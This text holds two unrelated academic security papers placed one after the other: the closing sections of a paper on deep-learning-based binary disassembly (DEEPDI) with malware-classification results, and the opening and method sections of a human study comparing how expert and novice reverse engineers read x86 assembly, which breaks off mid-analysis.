be more accurate on unseen samples. In terms of efficiency,

MalConv only takes 48.6 seconds to process all testing sam-

ples (5.2 GB in total) on GPU, because it takes raw bytes as

input. Gemini takes 7 minutes to process the same amount of

samples on GPU. This is still a notable achievement, given

that DEEPDI has to disassemble the malware samples and

extract ACFG as high-level features and then hand them over

to Gemini to perform classification.

For the second experiment, we evaluate EMBER which

uses static features such as byte code histogram and imported

functions to train a gradient-boosted decision tree (GBDT)

model. We first train the original EMBER model with the de-

fault parameters except changing the objective from binary to

multiclass. Later, we add high-level features: code histogram

and code entropy histogram to the static features to show how

they benefit classification. Code histogram and entropy his-

togram are extracted from instruction metadata mentioned in

Section 3.2, similar to how byte histogram and byte entropy

histogram are extracted.

Table 8: EMBER Classification Results

Model Training Accuracy Testing Loss Time

EMBER 99.13%±0.1747 0.041541±0.0022 21m

EMBER w/ code 99.40%±0.2465 0.024391±0.0018 24m

Table 8 shows that we can lift the training accuracy from

99.1% to 99.4%, and almost halve the testing loss while

adding minor overhead (3 minutes).

This case study shows that DEEPDI opens up a lot of op-

portunities for fast and accurate binary analysis. It will be in-

teresting to explore other machine-learning and deep-learning

models that take disassembly results and high-level features

as input to produce even more accurate classification results

and conduct other binary analysis tasks.

6 Discussion

In this section, we have more discussions about our evaluation

results.

Learning-based vs. Rule-based Approaches. In this work,

we demonstrate that a learning-based approach outperforms

rule-based approaches used in the commercial disassemblers

with respect to accuracy (especially on obfuscated binaries)

and efficiency. This result might be surprising to many people,

as binaries are generated by the compilers following a well-

understood compilation process. So experts should be able

to develop good rules and heuristics to correctly disassemble

the binaries. However, much of higher-level information is

lost during the compilation process, and ambiguities start to

emerge. The situation is further exacerbated by deliberate

obfuscations that aim to break these rules and heuristics, as

demonstrated by our obfuscation evaluation in Section 4.4.

A learning-based approach, if done right, can automatically

learn from a large number of real data on how to resolve the

ambiguities and tolerate certain obfuscation attempts. We also

demonstrate that a learning-based approach (particularly, a

neural network-based approach) can be more efficient than

rule-based approaches. A deep neural network model can bet-

ter leverage the parallelism in modern processors to perform
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vector and matrix computation very efficiently. In contrast, a

rule-based approach may not be easily parallelized.

Generalizability. A common problem for a machine learn-

ing model is overfitting, meaning that the model only learns

superficial features existing in the training dataset and cannot

generalize on unseen dataset. Our evaluation in Section 4.3

shows that our model is able to learn intrinsic features from

the training set, and perform well on a completely different

dataset containing a different set of programs generated by a

different compiler for a different operating system. We spec-

ulate that this excellent generalizability mainly comes from

how we make use of Relational-GCN, as it captures a number

of important relations between instructions. These relations

generally hold true across programs, compilers, and OS.

Adversarial Attacks. A machine-learning system is known

to be vulnerable to adversarial attacks. DEEPDI is no excep-

tion. However, the disassemblers we evaluated face the same

problem, and perform even worse than DEEPDI on obfus-

cated binaries. Section 4.5 shows that DEEPDI at least is able

to counter attacks that simply hide direct jumps. A strong

adversary may be able to perform in-depth analysis on our

model (e.g., based on the gradients), to construct adversarial

examples. This problem deserves a separate investigation, and

we leave it as future work. Nevertheless, our evaluation in

Section 4.4 and Section 4.5 shows that DEEPDI is already

more robust than the existing commercial disassemblers.

7 Related Work

We have discussed existing disassembly techniques in Sec-

tion 2. In this section, we briefly discuss other related works.

Function Identification. Function identification in stripped

binaries is a fundamental challenge in reverse engineering

and binary analysis. Nevertheless, many security solutions,

such as binary rewriting and control flow integrity, rely on

accurate function identification. There exist many machine-

learning-based solutions, such as ByteWeight [12] and Shin

et al.’s work [53]. ByteWeight extracts features from code

(raw bytes or linearly disassembled instructions) and builds a

prefix tree to evaluate the probability of a sequence of instruc-

tions or raw bytes being function boundary. Shin et al. builds

a multi-layer RNN network and feeds one raw byte a time

to the network [53]. The output is whether this byte is func-

tion boundary or not. Some machine-learning-based models

turned out to capture specific patterns, such as push ebp [27],

as function entrypoint signature, and are likely to miss func-

tions if the first instructions in the function are rarely used

(e.g., frame pointer omitted). Others are rule-based solutions

such as Nucleus [11] and Qiao et al.’s work [46]. Fundamen-

tally, they rely on various heuristics or program analysis. The

problem of function identification is that a precise identifica-

tion result does not guarantee a precise disassembly because

the function body may not be contiguous and may contain

data. Another problem is that the runtime performance of

function identification is not good.

Differentiating Code and Data. This is another way of think-

ing disassembly. If we know which part is data, linear sweep

disassembly can give us the correct result. Wartel et al. [56]

uses a compression model to estimate the probability of a

sequence, but its efficiency is not evaluated.

Dynamic Disassembly. Many researchers have made great

contributions [14–16, 40, 42, 54] to this direction. Dynamic

disassembly can achieve better accuracy on the code path

that is actually executed compared to static disassembly, and

is resilient to obfuscation and packing, but imposes extra

runtime overhead and limited code coverage.

Deep Learning for Binary Analysis. There has been a surge

of research efforts on applying deep learning techniques to

solve binary analysis problems. A prominent one is binary

code similarity analysis and search. Its central theme is to

generate an embedding for a piece of code (function or basic

block), and then use the generated embedding to search simi-

lar code snippets [37, 38, 57, 60]. Researchers also leverage

deep learning to perform other sophisticated binary analysis

tasks, such as inferring function type signatures [18], and con-

ducting coarse-grained value set analysis [26]. All of these

schemes except αDiff [37] require disassembly code or fea-

tures extracted from disassembly code as input. As a result, no

matter how efficient these schemes are, the end-to-end system

performance is bounded by the disassembler. By integrating

DEEPDI with these downstream tasks, the end-to-end system

performance can be improved substantially.

Decompilation. Decompilation takes one step further to re-

cover source code from binaries, and is very useful in under-

standing or analyzing binaries when their source code is not

available. [30] uses an encoder-decoder model to translate

raw bytes to pseudo C code, [25, 33] translate instructions to

AST. There are also some commercial decompilers such as

Hex-Rays Decompiler and Binary Ninja. However, compilers

may generate different machine code from the same source

code, or the same machine code from different source code.

It is hard to evaluate the quality of decompilers.

8 Conclusion

In this paper, we have proposed DEEPDI, a novel deep learn-

ing based technique for disassembly that achieves both ac-

curacy and efficiency. Our experimental results have shown

that DEEPDI’s accuracy is comparable to the state-of-the-

art commercial tools and research prototypes, and it is two

times faster than IDA Pro, and its GPU version is 350 times

faster. DEEPDI is able to generalize to unseen binaries, and

counter obfuscations and certain adversarial attacks. When

used with EMBER [9] for malware classification involving

5.2 GB testing samples, we are able to increase training ac-

curacy to 99.4% and only add 3 minutes to feature extraction
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time, showing its capacity of classifying malware accurately

and efficiently.
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Raw Bytes vs. Features. Although some recent studies

(e.g., [35]) feed raw bytes to deep learning models and show

encouraging results, we argue that raw bytes contain limited

semantic information because they are encoded and have vari-

able length. To fully understand the raw bytes, the model has

to learn decoding rules, which are already explicitly defined

by instruction specifications. Moreover, [5] shows features at

raw-byte level are superficial and are vulnerable to adversarial

attacks.

Table 9: Instruction Format

Legacy

Prefix

REX

Prefix

Opcode ModRM SIB Displacement Immediate

(optional) (optional) 1-, 2- or
3-byte
opcode

1 byte
(op-
tional)

1
byte
(op-
tional)

1, 2, or
4 bytes
(optional)

1, 2, or 4
bytes (op-
tional)

String Representation vs. Metadata The string representa-

tion of instructions is very expressive: it has no ambiguity and

good readability. Some recent studies [21, 22] are based on

the string representation, then utilize NLP models for further

analysis. If we see the string representation as source code,

then the metadata of instructions is similar to intermediate

language. Table 9 shows instruction format in x86-64 archi-

tecture. It essentially shows what each byte in an instruction

represents. However, it is still highly encoded, for example,

some fields are optional, and some bits in one field can influ-

ence the meaning of other fields. Our approach uses metadata

because translating from byte code into strings is slow, and

relies on our model to learn the meaning of each field.

B Analysis of False Positives and False Nega-

tives

We also dive into the underlying causes of these false results.

They are discussed as follows.

First, for false positives, MSVC generates jump stubs at the

beginning of the code section due to incremental linking.

Such patterns do not exist in ELF binaries and it confuses

the model when several false instructions look legitimate.

Listing 1 shows an example where 00FC100A and 00FC100F

should be two valid jump instructions, but the model favors

instructions starting from 00FC100B. The xor instruction sets

the PF flag, and the jpo instruction checks the PF flag and

does a conditional jump. Both jump targets are legitimate,

and it is hard even for humans to decide whether these three

instructions are valid or not.

The second outstanding case is the add esp instruction.

The model favors the opcode C4, and all add esp instructions

become les instructions. les instructions do not exist in the

training set, which might be the reason the model does not

perform well.

1 00 FC100B 31C2 xor edx ,eax

2 00 FC100D 7B 00 jpo 00 FC100F

3 00 FC100F E9 CCC9E400 jmp 01 E0D9E0

Listing 1: Clang False Positive Example

For false negatives, MSVC sometimes generates some very

short yet sparse functions. These instructions have very little

context information and thus cannot be correctly identified by

our model. See Listing 2 for an example.

1 01012 F0F int3

2 01012 F10 mov dowrd ptr ds:[ecx], 021 A7014

3 01012 F16 retn

4 01012 F17 int3

5 01012 F18 int3

6 01012 F19 int3

Listing 2: Clang False Negative Example
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Abstract
When a human activity requires a lot of expertise and very

specialized cognitive skills that are poorly understood by the
general population, it is often considered ‘an art.’ Different
activities in the security domain have fallen in this category,
such as exploitation, hacking, and the main focus of this paper:
binary reverse engineering (RE).

However, while experts in many areas (ranging from chess
players to computer programmers) have been studied by
scientists to understand their mental models and capture what
is special about their behavior, the ‘art’ of understanding
binary code and solving reverse engineering puzzles remains
to date a black box.

In this paper, we present a measurement of the different
strategies adopted by expert and beginner reverse engineers
while approaching the analysis of x86 (dis)assembly code, a
typical static RE task. We do that by performing an exploratory
analysis of data collected over 16,325 minutes of RE activity
of two unknown binaries from 72 participants with different
experience levels: 39 novices and 33 experts.

1 Introduction

Researchers of different fields have studied, from a cognitive
perspective, how humans perform several relevant activities
with the goal of better understanding, improving, or automating
field-related processes. For instance, in the area of computer
science, many experiments have been conducted to study the
mechanisms behind human’s decisions in several tasks, rang-
ing from program comprehension [30, 43] to human-computer
interaction [7, 27], and from problem solving [12, 33] to com-
puter security [34,54]. The crossover between the human mind
and computer science has also resulted in the creation, and in
the recent rapid evolution, of the field of artificial intelligence.

On the one hand, fully autonomous systems have already
replaced humans in several security-related tasks including,
among the others, host and network-based attack detec-
tion [37, 48, 59], malware classification [35, 41, 50] and

phishing detection [4, 25, 36]. On the other hand, other areas
are still mostly human-driven. For instance, binary reverse
engineering (RE) is still performed entirely by highly skilled
security experts. Machines play an essential role in the
process in the form of tools to unpack, disassemble, emulate,
and perform binary similarity. However, humans are still
responsible for “understanding” the code, which is the main
goal in problems such as malware analysis or vulnerability
discovery. This requires considerable expertise, together with
a long and tedious manual effort. Unfortunately, the limited
number of expert reverse engineers in the world is insufficient
to cope with our society’s security needs and the continuous
growth in the amount of released software. The recent DARPA
Cyber Grand Challenge (CGC) drove progress in computers’
ability to reason about program binaries autonomously and
discover vulnerabilities. However, these programs are still far
from being able to compete against RE experts1.

To overcome this problem, we believe it is fundamental to
first understand how humans approach and solve static RE
tasks. The comprehension of the most effective RE strategies
used by expert humans can drive further research in the
development of automated approaches, but it can also help
design tailored training programs that can increase the number
and the effectiveness of our experts.

Let us use a simple analogy to introduce the motivation for
our work. When a professional chess player decides her next
move, she has hundreds of millions of possible combinations
to evaluate. However, previous research on the human brain
of chess players has shown that this is not the way she reasons.
Her brain can instead recognize patterns and naturally focus
only on a handful of possible “good” moves. Now think about
an expert reverse engineer. Similarly to a chess master, she
also does not “evaluate” every single line of assembly code in a
program, but she just skims through the code, focusing only on
those critical parts to understand the code’s logic. We believe

1The 2016 DEF CON CTF final put the best DARPA cyber-reasoning
system (Mayhem [17]) against human teams. The supercomputer ended up
in the last position [1] (even on simplified challenges explicitly written to
accommodate the limited architecture supported by the machine).
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that her primary skill is not to read faster every single basic
block, but instead that she does not waste time reversing the
ones that are not important for her task. In other words, she can
see patterns where others can only see endless lines of code.

Sadly, today we do not know whether this hypothesis or any
other hypothesis about how RE experts think is correct. At the
2020 Usenix Security conference, Votipka et al. [53] presented
the first human study about RE. This work inspired our follow-
up study, where the main focus is restricted to static RE (from
now on used alternatively with RE) from the perspective of as-
sembly code comprehension. Our goal is to investigate a set of
hypothesis by means of quantitative measurements and statisti-
cal tests conducted on fine-grained recordings of real RE tasks.

To accomplish that, we try to answer the following research
questions:
• What do experts do differently from novices?
• Do experts/novices share particular strategies to explore

binary code?
• How are these strategies linked to the binary code

elements (e.g., functions, basic blocks)?
• Is any particular strategy correlated with better RE

performances?

To recruit a sufficient number of geographically-distributed
participants, we designed an online platform that mimics the
UI of traditional interactive disassemblers. We then used our
platform to record the fine-grained behavior of 72 reversers
while they solved two different reverse engineering exercises.
In total, we collected 272 hours of binary reverse engineering
activity, which we then analyzed to identify patterns and strate-
gies that we can use to model the ‘experience’ of a reverser.

The results of our experiments allowed us to confirm that
experts indeed visit less basic blocks than beginners, and they
are also able to dismiss on average 22% of the blocks they visit
in under two seconds. While novices tend to re-visit the same
parts of the code multiple times, experts gain more information
during their first visit. We also identified several exploration
strategies, both at the basic block and the function level, that
seems positively correlated with experience. For example,
beginners are more likely to explore a binary ‘horizontally,’
while more skilled reversers are more likely to proceed in a
vertical way.

These are only a few examples of the many features we
investigate in this paper to characterize the static reverse engi-
neering process. We believe that this fascinating area of system
security, where human experience is highly regarded but little
understood, can help our community to better understand the
mechanics behind the cognitive aspects of reverse engineering.

2 Related Work

To the best of our knowledge, only four studies have been
conducted so far on human behaviors in the context of reverse
engineering [11, 15, 46, 53].

One of the first studies was conducted by Sutherland et
al. [46] in 2006 to demonstrate that the education/technical
knowledge and the ability to reverse engineer simple binary
files are positively correlated. In 2012, Bryant [11] performed
a semi-structured interview with the addition of in-place
observations during the RE sessions to investigate four experts
approaching typical RE scenarios, such as breaking the
protection scheme of a toy binary. The outcome is a precise
observation of the skills, mental flows, and knowledge-based
techniques that the subjects exhibit while reversing a binary.
Interestingly this work tries to be the bridge between the source
code comprehension community and the RE one, by studying
how reverse engineers make use of assembly patterns.

In 2018, Claire et al. [15] proposed RevEngE, a framework
to monitor reverse engineering from several points of view.
The framework is based on an instrumented virtual machine
that registers events such as spawning a new process, focusing
on a window and mouse clicks. The goal of this work was
to describe a system that acts as a base for an observational
study but the paper does not contain any measurements about
how reverse engineers perform their activities. Even though
the authors did not perform any experiments, the study still
deserves a special attention because it proposes an approach
which is suitable to perform a quantitative study of RE.

Finally, the recent work of Votipka et al. [53] is what we can
consider as the first human study about RE, focusing on what
high-level process reverse engineers follow and what technical
approaches they adopt. The authors’ goal was to improve the
design of RE tools to make them more usable and intuitive.
However,due to the lack of prior work outlining REs’ processes
and no theoretical basis for building quantitative assessments,
the authors also performed a number of semi-structured inter-
views in which 16 participants recalled anecdotes of a binary
they had reverse engineered in the past. This provides technical
details about their strategy and experience, including when
they switched from a tool to another, which hypothesis they
formulated, and which type of documentation they consulted.

If the literature covering RE is scarce, a vast amount of work
has been performed instead in the program comprehension
field. Indeed, RE can be seen as a program comprehension
problem applied to assembly code, with the goal of recovering
the high-level abstractions needed to understand the program
logic. For this reason, we collect here the most critical human
studies related to program understanding. One of the leading
research directions in program comprehension shows that
programmers adopt non-linear ways to interpret source
code, reasoning at a level of abstraction higher than the code
itself [5, 6, 10, 29, 30, 43]. A well-known model about these
high-level representations is what researchers refer to as bea-
cons: beacons are patterns that experienced programmers can
recognize when reading the source code [22,28,40]. The utility
of beacons is mainly related to assessing some hypotheses that
developers do about some unknown parts of the program, such
as when they need to maintain some code base, as described

2728    31st USENIX Security Symposium USENIX Association



by Littman et al. [32]. Alternatively, Gugerty [21] argues
that developers can use debuggers to verify some behaviors
within the source code they are analyzing (e.g., by checking
whether a variable contains the expected value at some point
of the execution). It is also worth mentioning that some of
these papers study program comprehension by performing
a comparison between experts and novices [20, 21, 56]. We
believe this to be a critical factor in understanding the impact
of the experience, and this methodology served as inspiration
for the experiments we present in this paper.

Finally, few studies have investigated the usability of RE
tools. For instance, researchers have looked at improving
the usability of decompilers [24, 57], showing that better
variable naming and a reduced number of GOTOs affected
positively the readability of the pseudocode. In the context
of vulnerability discovery, Do et al. [18] proposed a static
analysis framework that allows the developers to write code
and run in parallel the static analyzer to help programmers
to better manage the large number of alerts generated by the
tool. In 2017, Shoshitaishvili et al. [45] showed that the com-
munication between a fuzzing engine and non-skilled reverse
engineers can increase the rate of discovered vulnerabilities
by taking advantage of human intuition.

3 Scope of the study

Reverse Engineering is a broad topic that covers several differ-
ent activities. Therefore, in this section, we emphasize what
aspects we studied in our work and the actual focus of the paper.

In system security, we refer to binary RE as the activity by
which a human, the Reverse Engineer, analyzes an executable
file, either in whole or in part, to recover design and implemen-
tation information useful to understand the program function-
alities. Depending on the context (e.g., malware analysis, vul-
nerability discovery, firmware analysis), the output of a reverse
engineering analysis can be different. However in all cases the
analyst is interested in reconstructing the logic of the program
and in understanding which conditions must be met to reach
a specific location in the code — which can be related to a bug
or to a suspicious behavior in the case of malicious files [58].

Independently from its goal, the RE process usually involves
different phases, and different tools are used to inspect the
program and collect the required information. Some popular
frameworks that support the analyst in this complicated task are
interactive disassemblers, such as IDA Pro [3] and Ghidra [2].
These tools combine multiple functionalities (e.g., a disas-
sembler, a decompiler, a debugger) in an interconnected and
interactive user interface, which allows the analyst to inspect an
enriched representation of the binary code. Reverse engineers
often rely on a combination of both static analysis and dynamic
analysis. The former consists of detailed observation of the
binary components (e.g., functions, basic blocks, assembly
instructions) to reconstruct the program’s behavior without ex-
ecuting it; the latter relies instead on a step-by-step observation

of the way a binary interacts with the memory and the operating
system at runtime. In this study, we focus our investigation on
the core activity that is part of any binary RE process: the static
code understanding as presented by interactive disassemblers.

Although this activity represents only one portion of the RE
process, we believe it deserves a special attention for several
reasons. First, it is particularly interesting as the low-level
nature of the Assembly language forces the human mind to
make an additional effort when reading the instructions. In
fact, the reverser needs to understand the effects of what she
reads on the machine that will execute the code as well as
mentally reconstruct high-level patterns (such as loops and
branch conditions) and data types.

Moreover, this approach mirrors the initial studies of the pro-
gram comprehension community, where various authors ini-
tially focused on how users read source code rather than directly
embedding debuggers in their experiments [5, 6, 10, 29, 30].
For these reasons, we decided not to include any decompil-
ers/debuggers in our pipeline, focusing instead on an in-depth
analysis of the static assembly code comprehension process.

4 Methodology

To conduct a detailed investigation of how humans perform a
RE task, we needed to replace the interview format adopted by
previous studies with a fine-grained observation of subjects’
actual behavior when requested to perform different tasks
related to binary reverse engineering.

While the required data could be easily collected in a lab, for
instance,by using eye-tracking equipment to monitor the partic-
ipant behavior [9,16,38,49], this approach would introduce sev-
eral problems. First of all, skilled reverse engineers are rare and
remotely-accessible experiments are required to collect enough
participants with different backgrounds. Second, even simple
RE exercises require hours of concentration, which is difficult
to achieve while under observation in a lab (especially when the
candidate needs to keep her head stable to allow for proper mon-
itoring). Therefore, we opted for implementing a web-based
platform specifically designed to conduct our experiments.

The platform needs to be capable of extracting many low-
level metrics, such as how much time a person spends looking
at each basic block, how she explores and navigates the binary
program, and how she annotates and manipulate the assembly
code (e.g., by renaming functions and variables) along the way.
Moreover, the interface needs to closely resemble the inter-
face of existing reverse engineering tools (such as IDA Pro,
Ghidra, and Binary Ninja) to let the users interact with a famil-
iar environment. Finally, the system should incorporate special
techniques (such as Restricted Focus Viewer [26] to blur basic
blocks that are not currently selected) and a variety of instru-
mentations to collect a rich set of raw low-level information.

The low-level metrics extracted by our online platform act as
basic blocks for the subsequent analyses and characterizations.
In this second phase, we manually reviewed the collected data
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Figure 1: Part of the UI of our reverse engineering framework
in the code navigation mode showing on the left the functions’
list and on the right the CFG of the selected function

to identify high-level skills starting from the low-level metrics.
In this respect, a significant challenge is that we did not know
a priori which skills were more important than others and in
which context they may become relevant for solving a reverse
engineering task.

4.1 Online Platform

Our dedicated online platform provides users with an interface
and a set of functionalities, which mimic common interactive
disassemblers. The system required users to register an
account to allow them to take breaks and perform different
tasks at different points in time. After the registration, a
“Welcome” page described the various tests and guided the
participants through the system’s functionalities. The user
could then select one of the available tests and proceed with it.

A snapshot of the interactive RE interface is presented in
Figure 1. The left panel shows the list of the functions that are
present in the binary as well as those imported from external
libraries (such as printf). When the user visits a function, e.g.,
sub_40089a in Figure 1, the system highlights it with a green
bar and displays the list of code cross-references (Xrefs) below
the function name. Xrefs are divided into Xrefs-from (func-
tions containing a call instruction that transfers the control to
the visited function), and Xrefs-to (functions called within
the body of the visited function). The user can control the appli-
cation by using the mouse (by panning, zooming, clicking on
links, accessing a contextual menu with the right mouse button)
or the keyboard (by using common shortcuts taken from IDA
Pro for moving back and forward, rename variables and func-
tions). The right panel instead is in charge of showing the Con-
trol Flow Graph (from now on CFG) of the disassembled func-
tion where we decided to resolve library calls with their symbol
name and to replace strings’ addresses with the string itself.
Our UI also includes a call graph view, where the users can vi-
sualize the relationship between the function inside the binary.

Enabling the user to have a complete view of all basic blocks
at the same time would not allow us to track her progress
through the program at the required granularity. Therefore,
by taking inspiration from similar experiments performed in
the code comprehension community to measure the user at-
tention [8, 26], we decided to implement a Restricted Focus
Viewer [26] (RFV) solution. This technique provides results
comparable with eye-tracking methodologies by dynamically
blurring parts of the screen and letting users control the visible
area. In our case, only one basic block at a time is readable
while all other ones are blurred. For instance,on the right side of
Figure 1, the central basic block (from now on BB) is unblurred,
whereas the ones above and below are blurred. When the user
moves the mouse over a different BB, the system immediately
shows its content and re-sets the previous one in a blurred state.

The main disadvantage of this solution is that it can delay the
user activity and, as discussed in Section 6.4, it can also prevent
rapid glances over different parts of the screen. Even though
we are aware of the fact that RFV represents a limitation of our
work (as detailed in Section 8), it represents the only solution
to precisely measure the basic blocks observed by each
participant, while enabling our experiments to be conducted
online with users located in different countries.

For each action the user performs over the visible element,
the framework generates an event and sends it to our backend
server. These events include New function access (when the
user clicks on a function name), New basic block visit (mouse
over the new basic block), Function rename (right click or
keyboard shortcut), Variable rename (right click or keyboard
shortcut), Comment (right click or keyboard shortcut), Follow
the jump to an address (double click), Jump to address (double
click on the address), Move backward to the previous basic
block (keyboard shortcut), Follow Xrefs-to or Xrefs-from (click
on the desired xref), and Solution submission (click on the
dedicated link). For each of the cases mentioned above, the web
interface generates a JSON request containing a timestamp,
the event type (i.e., the action), the position in the binary (i.e.,
the function address and the BB), and depending on the action
type, the arguments. For example, when the humans rename a
stack variable, the JSON string will contain the new proposed
name and the old stack offset as further arguments.

All the events, along with the user’s changes on the code
(such as renamed objects, comments, and previously accessed
locations), are stored in a database for further analysis.

4.2 Challenges Design

The main problem we encountered when designing our
tests was to find a balance between the complexity of the
binaries, the amount of data we could collect from them, and
consequently the number of people that we could recruit.

Modeling the complexity of a RE task is not easy because
a binary could include many features that make the process
of understanding its internals more complex. For instance, ob-
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fuscated code would require dynamic analysis or access to the
binary file for implementing a de-obfuscation algorithm, thus
resulting in less data that could be collected by our platform. We
also had to design our tasks to be independent from the domain
of the different experts; for instance a challenge about pack-
ing would be easier for malware experts than for vulnerability
researchers. We decided instead to present binaries that imple-
ment common functionalities that can be found in any domain.

That being said, there are many potential strategies to
provide a measure of the complexity of our tasks. A possible
way to accomplish this goal is to rely on the complexity of the
source code, as done by [46] to formally describe the difficulty
of their binary challenges. Peitek et al., [39] demonstrated, with
the use of Functional magnetic resonance imaging (FMRI), the
existence of a correlation between such source code metrics
and the brain activation registered in users that perform
code comprehension tasks. Therefore, we compute a total of
twelve metrics (including the Halstead metrics, the cyclomatic
complexity, and the number of functions and lines of code) and
use these values to assess the difficulty of our assignments. All
values for the two assignments are reported in Table 1 (in Ap-
pendix). When crafting our challenges we used these metrics
of the tasks reported by Sutherland et al. [46] as a lower bound
to make sure that our tasks were sufficiently complicated.

After some internal experiments among the authors, we
settled for three binaries. Although we understand that three
binaries cannot provide a detailed view of the skills that expert
reverse engineers acquired after many years of practice, we
believe this choice to be a good tradeoff between the amount
of data we can collect and the time each participants would
need to invest in our exercises.

The first challenge binary was the smallest and only
served as a warm-up to make the users comfortable with
our tool’s interface. Thus, we did not collect data from this
first assignment. The other two binaries, which from now on,
we will call TEST_1 and TEST_2, were inspired by typical
reverse engineering problems in Capture the Flag (CTF)
competitions. CTFs are popular games designed to challenge
their participants to solve computer security problems. The
goal of a RE challenge in a CTF is often to recover the input
that needs to be provided to a given binary to produce a
specific output. This had the advantage that solutions are small
and can be easily verified on our side while still requiring the
participants to “understand” the full logic of the target binary.
Both the programs were written in C language and compiled
for a Linux x64 machine with the gcc compiler.

In our tests, all binaries include a target function whose pur-
pose is to print the string ’Success!!’, and the participants
were asked to submit a description of the input required by
the program to print the success string. To make things more
challenging, all binaries were stripped from their symbols and
included several “useless” snippets of codes, which had no
effect on the problem’s solution.

Test 1. The first binary consists of a simple server listening

Table 1: Complexity metrics of the two assignments
Metric Test 1 Test 2

Lines of code 146 207
Operators count 426 673
Distinct operators 35 38
Operands count 207 338
Distincst operands 89 87
Program length 633 1011
Program vocabulary 124 125
Volume 4402 7042
Difficulty 39 73
Effort 171678 514095
Cyclomatic complexity 14 19

main

useless0 useless1 bridge

target useless2

Figure 2: Call Graph of Test 1

on port 8888 and accepting new incoming connections. For
each connection, the server would I) spawn a new process
(using the fork() function) to serve as a connection handler,
II) increment a global counter, and III) invoke the target
function that would print the success string if the global
counter is equal to three. Therefore three clients need to
connect to the server to trigger the Success!! string.

The challenge requires the participants to recognize the
assembly patterns associated to simple network actions
(e.g., the initialization of the socket structures and bind(),
listen(), accept() APIs), and the parent/child relationship
during a fork(). For the sake of clarity, we sketch the call
graph of the binary in Figure 2. The figure shows in green the
three functions that need to be reversed to solve the exercise,
and in red, the three additional functions that play no role
in the solution. Two out of the three additional functions are
responsible for handling error conditions generated along
the binary. The purpose of such procedures is to assess if
participants can easily recognize and ignore functions that
only generate error messages. The third procedure is the one
that implements the connection management.

Test 2. The second binary implements a simple list manage-
ment application. The application accepts two parameters,
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useless0 sort_case useless2

useless1 setup is_sorted length useless3 useless4

init_list is_empty

insert_node is_number

Figure 3: Call Graph of Test 2

a list of integer numbers, and one letter that specifies the
required operation: (a) – the application sums the elements
of the list and prints back the result; (r) – the application prints
the list in a reversed order; (s) – the application checks whether
the list is sorted and contains at least four elements. If both
conditions are satisfied, the program prints the success string.

This second binary is more complicated than the previous
one,and all operations are performed over linked lists of custom
data structures. To ensure that the difficulty was higher than
TEST_1, we verified that all twelve complexity metrics had
higher values than in the previous test. The challenge requires
the participants to be familiar with linked lists in assemblers
(i.e., on the way C structs and pointers are compiled in bi-
naries) and to recognize list-related operations (including a
bubble-sort implementation). Figure 3 represents the simpli-
fied version of the call graph: as in the previous case, we label as
useless the functions that are not related to the challenge solu-
tion. For all the other functions, we report their self-explanatory
name. However, the symbols’ names were stripped from the
binaries, so the participants did not have this information.

5 Participants recruitment

We ensured that all methods and experiments performed for
this work are in line with our institutions’ research ethics
guidelines and our country regulations on data collection and
retention. The participants were recruited over a period of sev-
eral months and the invitation was sent from our institutional
email address as proof of credibility. The text, reported in Ap-
pendix A, contained a complete description of the experiment
with the link to our online infrastructure. As we specify in the
recruitment email, we did not provide a compensation for our
experiments and we only collected anonymous data.

In particular, we contacted students who took a binary
analysis or reverse engineering course in three different
universities. All students had been previously trained to
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Figure 4: Relationships between how often the subject reverse
binaries and the total time spent to solve the exercises.

reverse binary programs, but while some were still beginners,
others already had experience by playing CTF competitions.
We also contacted nine different top CTF teams, asking
for players who usually solve complex RE challenges to
participate in our experiment. Overall, 95 users responded to
our request, but only 72 completed successfully the two tests.

In order to compare the effectiveness of different approaches
to read the disassembled code, we split our participants into
two groups: experts and novices. On the one hand, simply rely-
ing on the “reputation” of the participants could lead to biased
results in our data analysis. On the other hand, self-evaluation
questions can also produce biased results because humans tend
to adjust their answers depending on their concerns with the
interviewer’s perception [23, 47]. Therefore, we decided not
to divide the participants in two a priori groups, but rather to
combine their self-reported experience with the time required
to solve the tasks. First, when visiting the website, the partic-
ipants were asked how often they reverse engineer binary code
on a four-point scale in ascending order of frequency: never,
sometimes, often, and usually. Then, once all experiments
had been completed, we identified the time required by the
“worst” participant who reported to reverse binaries often or
usually (i.e., 172 minutes). Finally we adopted this value as
a threshold: participants who took less time than this threshold
are considered experts, otherwise novices. The two groups
contained respectively 33 experts and 39 novices. It is worth
noting that all CTF players ended up in the expert group.

Figure 4 shows the relationship between the answer to the
frequency question and the time required to complete the two
assignments for the two classes of users whereas the dashed
horizontal line represents the threshold we have inferred.
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Figure 5: Three distinct RE sessions of Test 1 showing the
time spent on each basic block during the session

6 Data Analysis

We now discuss the results of the participants who completed
the two exercises (39 novices and 33 experts). First of all, as
we expected, novices and experts spent a different amount of
time to complete the assignments. In fact, the two exercises
combined took between 24 and 172 minutes (92 on average)
for the subjects in the experts’ group and between 178 and
941 minutes (340 on average) for novices. In other words,
even though the exercises were relatively simple, beginners
were, on average, 3.7 times slower than experts, and the fastest
beginner was 7.4 times slower than the fastest expert.

To avoid bias, we computed the confidence intervals for the
two groups of users, with a confidence value equal to 0.95. In
this second scenario we obtained that the time required was
between 75 and 110 minutes for experts whereas it ranged
from 289 to 391 for novices.

Moreover the application of a 2-sample t-test over the two
groups in relation with the solution time confirmed us that it is

meaningful to separate the two groups in terms of time needed
to accomplish the task (t-test 9.31, p-value 3.5e-10).

We also analyzed the solution time by splitting the users
according to their answer to the initial question about how
often they reverse binaries.

As shown in Figure 4, it took on average 301 minutes for
users who answered 1 (rarely reverse binaries), 233 for those
who answered 2, 86 minutes for those who answered 3, and
finally 40 minutes for the only three experts who reported to
reverse binaries on a daily basis. This shows that while all
participants in our expert group were fast, on average, those
who perform this task more often tend to be faster.

Mining for Strategies

We started our analysis by manually inspecting the telemetry
data collected from the users’ sessions, looking for macro-
differences that could indicate the use of different strategies.
As an example, Figures 5 shows a graphic representation of
the behavior of three users during the first exercise (time is on
the X axis and BB addresses on the Y ). The horizontal bands
of different colors represent the three useful functions (those
required to solve the exercise), while the white region indicates
the BBs located in other irrelevant parts of the program. Each
dot corresponds to the user focusing on a given basic block
for a certain amount of time (expressed by the size of the
circle). The labels target and bridge respectively indicate
the function that prints the success string and the function that
has main as the caller and target as one of the callees.

The first two graphs belong to experts (the fastest in our
test and an average one), while the bottom depicts a beginner
session.

The three graphs clearly show very different approaches
to reverse the same binary. The second expert spent a
considerable amount of time on main (the red band), while
the first moved away from it after a few minutes and returned
to its code only after a first overview of the binary. Moreover,
the order of their visits is different. The first started from main
while the second user started the exploration from the target
function (where the success string is printed). However, even
if the first approach is more efficient, the first expert spent
